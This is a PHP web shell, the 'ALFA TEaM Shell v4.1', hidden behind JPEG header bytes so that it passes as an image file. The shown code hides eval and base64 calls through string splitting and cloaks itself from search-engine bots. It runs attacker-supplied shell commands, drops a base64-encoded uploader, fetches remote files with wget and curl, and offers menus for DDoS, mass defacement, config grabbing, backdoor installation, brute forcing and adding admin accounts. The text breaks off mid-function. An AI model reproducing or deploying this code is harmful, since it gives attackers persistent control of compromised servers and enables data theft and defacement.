���� JFIF �� �
"" $(4,$&1'-=-157:::#+?D?8C49:7
7%%77777777777777777777777777777777777777777777777777�� { �" �� �� 5 !1AQa"q�2��BR��#b������� �� �� ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp�
����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Æï¿½ï¿½Ü¯sO"B�c>;
�e�4��5�k��/CB��.
�J?��;�҈�������������������~�<�VZ�ê¼2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA׾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��403
'alfa',
'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
'safe_mode' => '0',
'login_page' => '403',
'show_icons' => '1',
'post_encryption' => false,
'cgi_api' => true,
);
$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
$OVpGNqqFZs = 'e' . 'v' . 'al';
$psDEwGhsxg = 'gz' . 'inf' . 'late';
if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
{
function vcnvSCZgBz($data)
{
if (empty($data)) return;
$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
$ac = 0;
$enc = '';
$tmp_arr = array();
if (!$data)
{
return $data;
}
do
{
$o1 = $aztJtafUXm($data, $i++);
$o2 = $aztJtafUXm($data, $i++);
$o3 = $aztJtafUXm($data, $i++);
$bits = $o1 << 16 | $o2 << 8 | $o3;
$h1 = $bits >> 18 & 0x3f;
$h2 = $bits >> 12 & 0x3f;
$h3 = $bits >> 6 & 0x3f;
$h4 = $bits & 0x3f;
$tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
}
while ($i < strlen($data));
$enc = implode($tmp_arr, '');
$r = (strlen($data) % 3);
return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
}
function charCodeAt($data, $char)
{
return ord(substr($data, $char, 1));
}
function charAt($data, $char)
{
return substr($data, $char, 1);
}
}
else
{
function vcnvSCZgBz($s)
{
$b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
return $b($s);
}
}
if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
{
function zRtSHsbTzV($input)
{
if (empty($input)) return;
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do
{
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int)$chr1);
if ($enc3 != 64)
{
$output = $output . chr((int)$chr2);
}
if ($enc4 != 64)
{
$output = $output . chr((int)$chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
}
while ($i < strlen($input));
return $output;
}
}
else
{
function zRtSHsbTzV($s)
{
$b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
return $b($s);
}
}
function __ZW5jb2Rlcg($s)
{
return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
foreach ($GLOBALS['DB_NAME'] as $key => $value)
{
$prefix = substr($key, 0, 2);
if ($prefix == "us")
{
$GLOBALS['DB_NAME']["user"] = $value;
$GLOBALS['DB_NAME']["user_rand"] = $key;
}
elseif ($prefix == "pa")
{
$GLOBALS['DB_NAME']["pass"] = $value;
$GLOBALS['DB_NAME']["pass_rand"] = $key;
}
elseif ($prefix == "sa")
{
$GLOBALS['DB_NAME']["safemode"] = $value;
$GLOBALS['DB_NAME']["safemode_rand"] = $key;
}
elseif ($prefix == "lo")
{
$GLOBALS['DB_NAME']["login_page"] = $value;
$GLOBALS['DB_NAME']["login_page_rand"] = $key;
}
elseif ($prefix == "sh")
{
$GLOBALS['DB_NAME']["show_icons"] = $value;
$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
}
elseif ($prefix == "po")
{
$GLOBALS['DB_NAME']["post_encryption"] = $value;
$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
}
elseif ($prefix == "cg")
{
$GLOBALS['DB_NAME']["cgi_api"] = $value;
$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
}
}
unset($GLOBALS['oZgNypoPRU']);
if (!isset($_SERVER["HTTP_HOST"])) exit();
if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
$GLOBALS['__ALFA_COLOR__'] = array(
"shell_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".header" => "border: 7px solid {color}",
"#meunlist" => "border-color: {color}",
"#hidden_sh" => "background-color: {color}",
".ajaxarea" => "border: 1px solid {color}",
".foot" => "border-color: {color}",
)
),
"header_vars" => "#27979B",
"header_values" => "#67ABDF",
"header_on" => "#00FF00",
"header_off" => "#ff0000",
"header_none" => "#00FF00",
"home_shell" => "#ff0000",
"home_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".home_shell:hover" => "color: {color};",
)
),
"back_shell" => "#efbe73",
"back_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".back_shell:hover" => "color: {color};",
)
),
"header_pwd" => "#00FF00",
"header_pwd:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_pwd:hover" => "color: {color};",
)
),
"header_drive" => "#00FF00",
"header_drive:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_drive:hover" => "color: {color};",
)
),
"header_show_all" => "#00FF00",
"disable_functions" => "#ff0000",
"footer_text" => "#27979B",
"menu_options" => "#27979B",
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"options_list" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
".content_options_holder .header center a" => "color: {color};",
)
),
"options_list:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".content_options_holder .header center a:hover" => "color: {color};",
)
),
"options_list_header" => array(
"key_color" => "#59cc33",
"multi_selector" => array(
".txtfont_header" => "color: {color};",
)
),
"options_list_text" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".txtfont,.tbltxt" => "color: {color};",
)
),
"Alfa+" => array(
"key_color" => "#06ff0f",
"multi_selector" => array(
".alfa_plus" => "color: {color};font-weight: unset;",
)
),
"hidden_shell_text" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
"#hidden_sh a" => "color: {color};",
)
),
"hidden_shell_version" => "#ff0000",
"shell_name" => "#FF0000",
"main_row:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".main tr:hover" => "background-color: {color};",
)
),
"main_header" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main th" => "color: {color};",
)
),
"main_name" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .main_name" => "color: {color};font-weight: unset;",
)
),
"main_size" => "#67ABDF",
"main_modify" => "#67ABDF",
"main_owner_group" => "#67ABDF",
"main_green_perm" => "#25ff00",
"main_red_perm" => "#FF0000",
"main_white_perm" => "#FFFFFF",
"beetween_perms" => "#FFFFFF",
"main_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .actions" => "color: {color};",
)
),
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"minimize_editor_background" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".minimized-wrapper" => "background-color: {color};",
)
),
"minimize_editor_text" => array(
"key_color" => "#f5deb3",
"multi_selector" => array(
".minimized-text" => "color: {color};",
)
),
"editor_border" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "border: 2px solid {color};",
)
),
"editor_background" => array(
"key_color" => "rgba(0, 1, 23, 0.94)",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "background-color: {color};",
)
),
"editor_header_background" => array(
"key_color" => "rgba(21, 66, 88, 0.93)",
"multi_selector" => array(
".editor-header" => "background-color: {color};",
)
),
"editor_header_text" => array(
"key_color" => "#00ff7f",
"multi_selector" => array(
".editor-path" => "color: {color};",
)
),
"editor_header_button" => array(
"key_color" => "#1d5673",
"multi_selector" => array(
".close-button, .editor-minimize" => "background-color: {color};",
)
),
"editor_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_actions" => "color: {color};",
)
),
"editor_file_info_vars" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_file_info_vars" => "color: {color};",
)
),
"editor_file_info_values" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".filestools" => "color: {color};",
)
),
"editor_history_header" => array(
"key_color" => "#14ff07",
"multi_selector" => array(
".hheader-text,.history-clear" => "color: {color};",
)
),
"editor_history_list" => array(
"key_color" => "#03b3a3",
"multi_selector" => array(
".editor-file-name" => "color: {color};",
)
),
"editor_history_selected_file" => array(
"key_color" => "rgba(49, 55, 93, 0.77)",
"multi_selector" => array(
".is_active" => "background-color: {color};",
)
),
"editor_history_file:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".file-holder > .history:hover" => "background-color: {color};",
)
),
"input_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"input[type=text],textarea" => "border: 1px solid {color}",
)
),
"input_box_text" => array(
"key_color" => "#999999",
"multi_selector" => array(
"input[type=text],textarea" => "color: {color};",
)
),
"input_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"select_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"select" => "border: 1px solid {color}",
)
),
"select_box_text" => array(
"key_color" => "#FFFFEE",
"multi_selector" => array(
"select" => "color: {color};",
)
),
"select_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"button_border" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit],.button,#addup" => "border: 1px solid {color};",
)
),
"button:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"outputs_text" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".ml1" => "color: {color};",
)
),
"outputs_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".ml1" => "border: 1px solid {color};",
)
),
"uploader_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_background" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile strong" => "background-color: {color};",
)
),
"uploader_text_right" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".inputfile strong" => "color: {color};",
)
),
"uploader_text_left" => array(
"key_color" => "#25ff00",
"multi_selector" => array(
".inputfile span" => "color: {color};",
)
),
"uploader:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_progress_bar" => array(
"key_color" => "#00ff00",
"multi_selector" => array(
".up_bar" => "background-color: {color};",
)
),
"mysql_tables" => "#00FF00",
"mysql_table_count" => "#67ABDF",
"copyright" => "#dfff00",
"scrollbar" => array(
"key_color" => "#1e82b5",
"multi_selector" => array(
"*::-webkit-scrollbar-thumb" => "background-color: {color};",
)
),
"scrollbar_background" => array(
"key_color" => "#000115",
"multi_selector" => array(
"*::-webkit-scrollbar-track" => "background-color: {color};",
)
),
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='';
if($config['AlfaLoginPage'] == 'gui'){
if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '
~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~
~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~
Execute Command:
';
if(isset($_POST['command_solevisible'])){
if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
$solevisible = "cd '".addslashes(str_replace("\\","/",@alfaGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo'
';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());
if($GLOBALS['glob_chdir_false']){
$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());
}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
function mb_strlen($str, $c=""){
return strlen($str);
}
}
if(!function_exists("mb_substr")){
function mb_substr($str, $start, $end, $c=""){
return substr($str, $start, $end);
}
}
define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
function alfahead(){
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
if(!isset($_POST['ajax'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
$d=trim($d);
if(empty($d)||!is_callable($d))continue;
if(!function_exists($d)){
if(in_array($d,$func)){
$dis .= $d." | ";$b++;
$black_list[] = $d;
}else{
$allow_list[] = $d;
}
$i++;
}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return(''.implode(" | ", $all).' ');
}
return(''.$dis.' ');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="";
$of="";
$none="";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="";
else
$safe_modes="";
$cgi_shell="";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\\'))
$drives .= ' ';
$csscode =' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '
..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ::..
';
echo "
";
$cmd_uname = alfaEx("uname -a",false,false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo '
';
for($s=1;$s<=10;$s++){
echo ' ';
}
echo '
';
$li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',
'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',
'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'
);
foreach($li as $key=>$value){
echo(' '."\n");
}
echo ' '.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '
LogOut ':'').'
File manager
New Tab +
';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}}
function alfalogout(){
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);
echo("ok");
}
function showAnimation($name){
return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
}
function __showicon($r){
$s['btn']='http://solevisible.com/images/btn.png';
$s['alfamini']='http://solevisible.com/images/alfamini.png';
$s['loader']='http://solevisible.com/images/loader.svg';
//return 'data:image/png;base64,'.__get_resource($s[$r]);
return $s[$r];
}
function alfainbackdoor(){
alfahead();
echo '');
alfafooter();
}
function alfawhois(){
echo("");
}
function alfaremotedl(){
alfahead();
echo("");
alfafooter();
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = alfaEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("curl ".$url." -o ".$saveas);
